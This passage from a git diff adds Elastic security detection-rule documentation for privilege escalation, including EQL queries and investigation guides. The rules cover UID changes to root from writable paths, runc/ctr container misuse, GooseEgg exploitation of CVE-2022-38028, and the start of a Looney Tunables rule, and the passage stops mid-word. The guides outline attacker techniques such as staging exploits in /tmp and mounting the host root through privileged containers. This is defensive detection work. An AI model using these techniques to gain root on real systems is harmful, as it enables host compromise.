+* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via a Parent Process Sequence* + + +This alert flags a Linux process chain where a non-root program launched from a user- or world-writable location is quickly followed by the same lineage switching to root, a strong sign of local privilege escalation and full host compromise risk. A common pattern is an attacker dropping or compiling an exploit in /tmp or a home directory, executing it as an unprivileged user, and then spawning a root shell or privileged helper within seconds. + + +*Possible investigation steps* + + +- Reconstruct the full process tree around the sequence to identify the originating user session, the exact binary or script launched from the writable location, and any immediate root-level child such as a shell, package tool, or file-modification utility. +- Validate whether the executed file and its parent are expected by reviewing file ownership, permissions, hashes, and recent write or compile times to determine if a malicious binary was dropped, replaced, or staged locally. +- Determine what the elevated process did next by examining follow-on root activity for signs of compromise such as interactive shells, edits to authentication files, SUID or capability changes, new services, cron jobs, or SSH key placement. +- Review nearby host telemetry for exploit preparation or execution indicators, including compiler usage, archive extraction, access to kernel or polkit-related components, suspicious temporary files, or errors and crashes consistent with privilege escalation attempts. +- Scope the incident by searching for the same user account, file hash, writable-path executable, or related lineage on other Linux systems, and contain the host quickly if the activity is not explained by approved administration or software deployment. + + +*False positive analysis* + + +- Administrators or developers may run locally built installers, update scripts, or test binaries from `/tmp`, `/var/tmp`, or a home directory that legitimately invoke a setuid-root helper during maintenance; verify the file is owned by the expected user, matches a known change window, and that the resulting root process only performed the intended configuration or install actions. +- User login or session initialization scripts stored under `/home/*` or `/run/user/*` can legitimately launch privileged built-in utilities such as password-change or mount helpers, creating a brief non-root-to-root process chain; confirm the alert coincides with an interactive user action and that the elevated child process is an expected system binary with benign follow-on activity. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network immediately while keeping EDR and forensic access available so the attacker cannot use the new root context for lateral movement, data theft, or cleanup. +- Terminate the malicious process tree and quarantine or remove the exploit binary, script, or archive from the writable path it launched from, then delete attacker persistence such as new systemd services, cron entries, modified `rc.local`, added `authorized_keys`, altered `sudoers` files, and any unexpected SUID bits or Linux capabilities. +- Restore the host to a known-good state from a trusted image or snapshot instead of relying on in-place cleanup, and verify core system binaries, PAM modules, startup scripts, and package integrity before returning it to service. +- Rotate all credentials and secrets exposed on the host, including local passwords, SSH keys, API tokens, and service account secrets, because a root-level compromise may have allowed the attacker to read `/etc/shadow`, shell histories, application configs, and private keys. +- Escalate to incident response immediately if the root process spawned an interactive shell, modified `/etc/passwd` or `/etc/shadow`, installed a backdoor service, added an SSH key, or if the same user, binary hash, or writable-path execution pattern appears on more than one host. +- Harden the environment by patching the exploited local privilege escalation vector, restricting or removing unnecessary setuid/setcap helpers, mounting temporary and user-writable directories with `noexec,nosuid,nodev` where feasible, and increasing monitoring for executions from writable paths followed by privileged child activity. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=15s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + user.id != "0" and process.parent.user.id != "0" and process.parent.group.id != "0" and + ( + process.executable like (".*", "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + process.parent.executable like (".*", "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/home/*/*", "/run/user/*", "/var/run/user/*") + )] + [process where host.os.type == "linux" and event.type == "change" and event.action == "uid_change" and + user.id == "0" and process.parent.user.id != "0" and process.parent.group.id != "0" and + not process.executable in ("/usr/bin/sudo", "/bin/sudo")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-suspicious-uid-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-suspicious-uid-change.asciidoc new file mode 100644 index 0000000000..5f419c0089 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-suspicious-uid-change.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-suspicious-uid-change]] +=== Potential Privilege Escalation via a Suspicious UID Change + +Detects a potential privilege escalation sequence via a suspicious UID change sequence. This rule checks for non-root execution of a process executable in a user or world-writable directory followed by a UID change event to 0 (root). This sequence is indicative of a potential local privilege escalation exploit. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via a Suspicious UID Change* + + +This rule catches a Linux process launched by a non-root user from a user- or world-writable location that soon changes to run as root, a strong sign of local privilege escalation. Attackers often stage an exploit or wrapper in /tmp or /dev/shm, execute it as an ordinary user, and use a vulnerable setuid binary or kernel flaw to flip the process to UID 0 and gain full system control. + + +*Possible investigation steps* + + +- Reconstruct the full process ancestry and execution context around the UID transition to determine whether it originated from a user shell, script interpreter, scheduled task, container runtime, or another trusted administrative workflow. +- Inspect the executed file and nearby artifacts in the writable location for creation and modification times, ownership, permissions, package ownership, hashes, and evidence that the binary or script was recently dropped, replaced, or unpacked. +- Determine how root was obtained by identifying any vulnerable or misconfigured setuid or file-capability helper, writable library or search path abuse, environment variable manipulation, or host exposure to known local privilege escalation vulnerabilities. +- Review the same user’s and host’s surrounding activity for staging behavior such as downloads, compilation, archive extraction, permission changes, and repeated exploit attempts that can distinguish malicious escalation from benign testing or software installation. +- Assess post-escalation behavior by looking for root shells, changes to authentication or sudo configuration, persistence creation, security control tampering, sensitive file access, and new outbound network connections to scope impact and prioritize containment. + + +*False positive analysis* + + +- Developers or administrators may intentionally execute a custom setuid test binary or troubleshooting script from `/home`, `/tmp`, or `/dev/shm` during maintenance, so verify the file owner, creation time, and parent shell session match an authorized user and approved change window. +- A legitimate install, upgrade, or recovery workflow may unpack files into `/tmp`, `/var/tmp`, or `/run/user` and invoke a helper that transitions to UID 0, so confirm the executable and its parent process are expected for the host and coincide with documented software maintenance activity. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while keeping a controlled management channel, then stop the suspicious root process and any child shell or payload launched from writable paths such as `/tmp`, `/dev/shm`, `/var/tmp`, or a user home directory. +- Remove attacker persistence by deleting the dropped binary or script and reversing malicious changes such as new cron entries, systemd services or timers, modified shell startup files, unauthorized `authorized_keys` entries, unexpected setuid binaries, and altered `/etc/sudoers` or `/etc/passwd`. +- Preserve and review the malicious file and recent privileged changes across `/etc/shadow`, `/etc/sudoers`, `/root/.ssh/`, loaded kernel modules, and package contents, and escalate immediately to the incident response team if you find a new privileged account, outbound command-and-control traffic, or signs of access to other hosts. +- Restore the system to a known-good state by reimaging or replacing the host from a trusted baseline, reinstalling only verified software, and applying fixes for the vulnerable kernel, setuid helper, or misconfigured file capability that allowed the UID change. +- Reset credentials and secrets exposed on the host, including the affected user account, local service accounts, SSH keys, API tokens, and any cached credentials, then review adjacent systems for the same dropped files, persistence artifacts, or root-level changes. +- Harden the environment by removing unnecessary setuid programs and file capabilities, mounting writable directories with `nosuid` and `noexec` where feasible, tightening sudo access, and maintaining detections for execution from world-writable paths followed by a transition to UID 0. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=30s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + user.id != "0" and process.parent.user.id != "0" and process.parent.group.id != "0" and + ( + process.executable like (".*", "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/home/*/*", "/run/user/*", "/var/run/user/*") or + process.parent.executable like (".*", "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/home/*/*", "/run/user/*", "/var/run/user/*") + )] + [process where host.os.type == "linux" and event.type == "change" and event.action == "uid_change" and + user.id == "0" and process.parent.user.id != "0" and process.parent.group.id != "0" and + not process.executable in ("/usr/bin/sudo", "/bin/sudo")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-container-misconfiguration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-container-misconfiguration.asciidoc new file mode 100644 index 0000000000..aa4ebcc8fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-container-misconfiguration.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-container-misconfiguration]] +=== Potential Privilege Escalation via Container Misconfiguration + +This rule monitors for the execution of processes that interact with Linux containers through an interactive shell without root permissions. Utilities such as runc and ctr are universal command-line utilities leveraged to interact with containers via root permissions. On systems where the access to these utilities are misconfigured, attackers might be able to create and run a container that mounts the root folder or spawn a privileged container vulnerable to a container escape attack, which might allow them to escalate privileges and gain further access onto the host file system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Containers +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Container Misconfiguration* + + +Containers, managed by tools like runc and ctr, isolate applications for security and efficiency. Misconfigurations can allow attackers to exploit these tools, running containers with elevated privileges or accessing sensitive host resources. The detection rule identifies suspicious use of these utilities by non-root users in interactive sessions, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific non-root user and group involved in the suspicious activity, as indicated by the user.Ext.real.id and group.Ext.real.id fields. +- Examine the process tree to understand the parent-child relationship of the processes, focusing on the interactive nature of both the process and its parent, as indicated by process.interactive and process.parent.interactive fields. +- Investigate the command-line arguments used with the runc or ctr utilities, particularly looking for the use of "run" and any potentially dangerous flags like "--privileged" or "--mount" that could indicate an attempt to escalate privileges. +- Check the system logs and audit logs for any additional context around the time of the alert, focusing on any other suspicious activities or anomalies involving the same user or process. +- Assess the configuration and access controls of the container management tools on the host to identify any misconfigurations or vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Non-root users in development environments may frequently use runc or ctr for legitimate container management tasks. To mitigate this, consider creating exceptions for specific user IDs or groups known to perform these actions regularly. +- Automated scripts or CI/CD pipelines might execute container commands interactively without root permissions. Identify these scripts and exclude their associated user accounts or process names from triggering the rule. +- Some system administrators may operate with non-root accounts for security reasons but still require access to container management tools. Document these users and adjust the rule to exclude their activities by user ID or group ID. +- Training or testing environments where users are encouraged to experiment with container configurations might trigger false positives. Implement a separate monitoring policy for these environments to reduce noise in production alerts. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or potential lateral movement within the host system. +- Terminate any suspicious container processes identified by the detection rule to halt any ongoing privilege escalation attempts. +- Conduct a thorough review of container configurations and permissions, specifically focusing on the use of runc and ctr utilities, to identify and rectify any misconfigurations that allow non-root users to execute privileged operations. +- Implement strict access controls and enforce the principle of least privilege for container management utilities to ensure only authorized users can execute privileged commands. +- Monitor for any additional signs of compromise or unusual activity on the host system, particularly focusing on processes initiated by non-root users with elevated privileges. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the broader environment. +- Update and enhance detection capabilities to include additional indicators of compromise related to container misconfigurations and privilege escalation attempts, ensuring timely alerts for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Session View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above. + +*To confirm that Session View data is enabled:* + +- Go to “Manage → Policies”, and edit one or more of your Elastic Defend integration policies. +- Select the” Policy settings” tab, then scroll down to the “Linux event collection” section near the bottom. +- Check the box for “Process events”, and turn on the “Include session data” toggle. +- If you want to include file and network alerts in Session View, check the boxes for “Network and File events”. +- If you want to enable terminal output capture, turn on the “Capture terminal output” toggle. +For more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the https://www.elastic.co/guide/en/security/current/session-view.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "runc" and process.args == "run") or + (process.name == "ctr" and process.args == "run" and process.args in ("--privileged", "--mount")) +) and not user.Ext.real.id == "0" and not group.Ext.real.id == "0" and +process.interactive == true and process.parent.interactive == true + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2022-38028.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2022-38028.asciidoc new file mode 100644 index 0000000000..eae7d1f20c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2022-38028.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2022-38028]] +=== Potential privilege escalation via CVE-2022-38028 + +Identifies a potential privilege escalation attempt via CVE-2022-38028 through modification of the protected Print to PDF MPDW constraints script. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2022-38028 + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential privilege escalation via CVE-2022-38028* + + + +*Possible investigation steps* + + +- Does the alert show protected-path MPDW-constraints.js placement outside Windows servicing? + - Why: the rule proves a Print to PDF constraints-script write, not Print Spooler execution of the modified script. + - Focus: confirm `file.path` is DriverStore or Print to PDF WinSxS for MPDW-constraints.js, then read `process.executable`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. !{investigate{"description":"","label":"File events for the same suspicious JavaScript path","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-2h","relativeTo":"now"}} + - Implication: escalate when the target is protected DriverStore or WinSxS and the writer is not Windows setup, repair, or print-component servicing; lower suspicion only when path, writer, parent, and surrounding servicing files match the same recognized OS or Print to PDF repair activity. +- Does the writer process look like GooseEgg staging rather than servicing? + - Why: Microsoft observed GooseEgg launchers and batch scripts before Print Spooler redirection; writer identity and parentage separate servicing from exploit staging. + - Focus: recover the writer start event with `process.entity_id`; compare `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when writer or parent is a batch/script host, user-writable or renamed binary, known GooseEgg launcher, or unsigned/unrecognized executable; lower suspicion when identity and lineage remain signed Windows servicing or recognized print-management tooling. +- Did the same writer stage GooseEgg files or copied driver-store content? + - Why: published GooseEgg examples stage batch files, wayzgoose*.dll, and copied print-driver directories under version-like C:\ProgramData\\v#.#.# paths. + - Focus: same `host.id` and `process.entity_id` file events: `file.path`, `file.name`, `file.Ext.original.path`, and `file.Ext.header_bytes` for staging, rename, or content clues. !{investigate{"description":"","label":"File events from the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-2h","relativeTo":"now"}} + - Implication: escalate when those filenames, ProgramData version paths, copied driver-store directories, .save / .zip hive outputs, or rename chains appear around the writer; lower suspicion when the same-process file set is limited to recognized servicing content and no GooseEgg artifact family appears. +- If registry telemetry is available, did the writer create GooseEgg protocol or CLSID redirection? + - Focus: same `host.id` and `process.entity_id` registry events, especially `registry.path`, `registry.value`, `registry.data.strings`, and `process.executable` for rogue protocol handler, CLSID, or wayzgoose*.dll paths. !{investigate{"description":"","label":"Registry events from the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-2h","relativeTo":"now"}} + - Hint: missing registry telemetry is unresolved, not benign; continue with file, process, and spooler evidence. + - Implication: escalate when registry changes register the rogue protocol or CLSID or point Print Spooler resolution to actor-controlled ProgramData content; lower suspicion only when available registry data remains recognized print-component configuration and file/process evidence is also clean. +- Did activation or spooler follow-on show SYSTEM-level execution? + - Focus: process starts after the write on `host.id`: `process.name`, `process.parent.name`, `process.parent.executable`, `process.command_line`, and `process.Ext.token.integrity_level_name` for scheduled-task launch, spoolsv.exe, PrintIsolationHost.exe, or SYSTEM command tests. !{investigate{"description":"","label":"Process events after the protected file write","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now"}} + - Hint: with library telemetry, check `dll.name` and `dll.path` for wayzgoose*.dll or loads from the written driver-store path; missing library telemetry is unresolved for load proof, not benign. + - Implication: escalate when the host shows scheduled-task activation as SYSTEM, spooler or print isolation child processes, a SYSTEM whoami test, or a wayzgoose*.dll load after the write; absence is no execution proof, not proof the write was benign. +- Does the suspicious artifact set recur enough to change scope? + - Focus: after suspicious or unresolved local evidence, review recent alerts for `host.id`, then search `file.path`, suspicious `process.hash.sha256`, and GooseEgg filenames across hosts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment and hunting when the same writer hash, ProgramData version path, wayzgoose*.dll, or protected MPDW-constraints.js placement appears on other hosts or pairs with spooler/privilege-escalation alerts; keep scope local when recurrence is absent and local evidence resolves to one recognized workflow. +- Escalate when protected-path placement aligns with non-servicing lineage or any GooseEgg, registry, scheduled-task, or spooler corroborator; close only when path, writer, parent, file set, user/host scope, and recovery bind to one recognized servicing or print workflow; preserve artifacts and escalate when evidence is mixed, missing, or contradictory. + + +*False positive analysis* + + +- Windows servicing, Print to PDF repair, printer-driver packaging, image-build, or print-management workflows can touch these paths. Confirm `file.path`, writer, parent, signer, `host.id` cohort, surrounding file set, and spooler follow-on all bind to one such workflow, with no GooseEgg artifacts, rogue registry evidence, or spooler child-process anomalies. Change records, patch windows, build records, or management tickets can corroborate; if unavailable, close only when telemetry independently proves the bounded workflow. +- Before creating an exception, validate a stable benign workflow across prior alerts: keep writer identity, `process.parent.executable`, `file.path`, `host.id` cohort, and bounded file set stable. Avoid exceptions on MPDW-constraints.js alone, DriverStore or WinSxS paths alone, or spoolsv.exe activity alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the `file.path`, writer identity, parent lineage, `host.id` cohort, and servicing or print-management file pattern that justified closure. Create an exception only for that recurring workflow. +- If suspicious but unconfirmed, preserve the written MPDW-constraints.js, its path and hash when available, the writer `process.entity_id`, `process.executable`, `process.command_line`, parent lineage, `user.id`, GooseEgg scripts or DLLs, ProgramData staging directories, scheduled-task evidence, and any registry or library corroboration before cleanup. Apply reversible containment first, such as pausing nonessential printing, limiting print-management access, isolating the host when business impact permits, or increasing monitoring. Avoid deleting files, stopping spoolsv.exe, or restoring registry state until the evidence is preserved. +- If confirmed malicious, preserve the same file, process, registry, library, scheduled-task, and spooler evidence first, then isolate the host through endpoint response when available and proportionate to host criticality. If direct response is unavailable, escalate with the preserved `file.path`, writer lineage, staging directory, registry redirection, and spooler follow-on evidence to the team that can act. After scope is clear, remove the malicious JavaScript, GooseEgg scripts, wayzgoose*.dll, ProgramData staging directory, scheduled task, and rogue registry/protocol state; restore affected print configuration, close the staging mechanism, and rotate credentials only for accounts or hives exposed by collected evidence. +- Post-incident hardening: apply the Microsoft security update for CVE-2022-38028, disable Print Spooler on systems that do not need it, restrict print-management rights, retain file/process coverage plus registry or library telemetry where it limited the investigation, and document the confirmed MPDW-constraints.js, ProgramData, wayzgoose, or scheduled-task pattern for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : "MPDW-constraints.js" and + file.path : ( + "?:\\*\\Windows\\system32\\DriverStore\\FileRepository\\*\\MPDW-constraints.js", + "?:\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\*\\Windows\\system32\\DriverStore\\FileRepository\\*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js" + ) and + not process.executable : ( + "?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "?:\\Windows\\System32\\taskhostw.exe" + ) and + not file.path : ( + "?:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*\\MPDW-constraints.js" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services File Permissions Weakness +** ID: T1574.010 +** Reference URL: https://attack.mitre.org/techniques/T1574/010/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2023-4911.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2023-4911.asciidoc new file mode 100644 index 0000000000..2acbde8947 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2023-4911.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2023-4911]] +=== Potential Privilege Escalation via CVE-2023-4911 + +This rule detects potential privilege escalation attempts through Looney Tunables (CVE-2023-4911). Looney Tunables is a buffer overflow vulnerability in GNU C Library's dynamic loader's processing of the GLIBC_TUNABLES environment variable. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2023-4911 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation 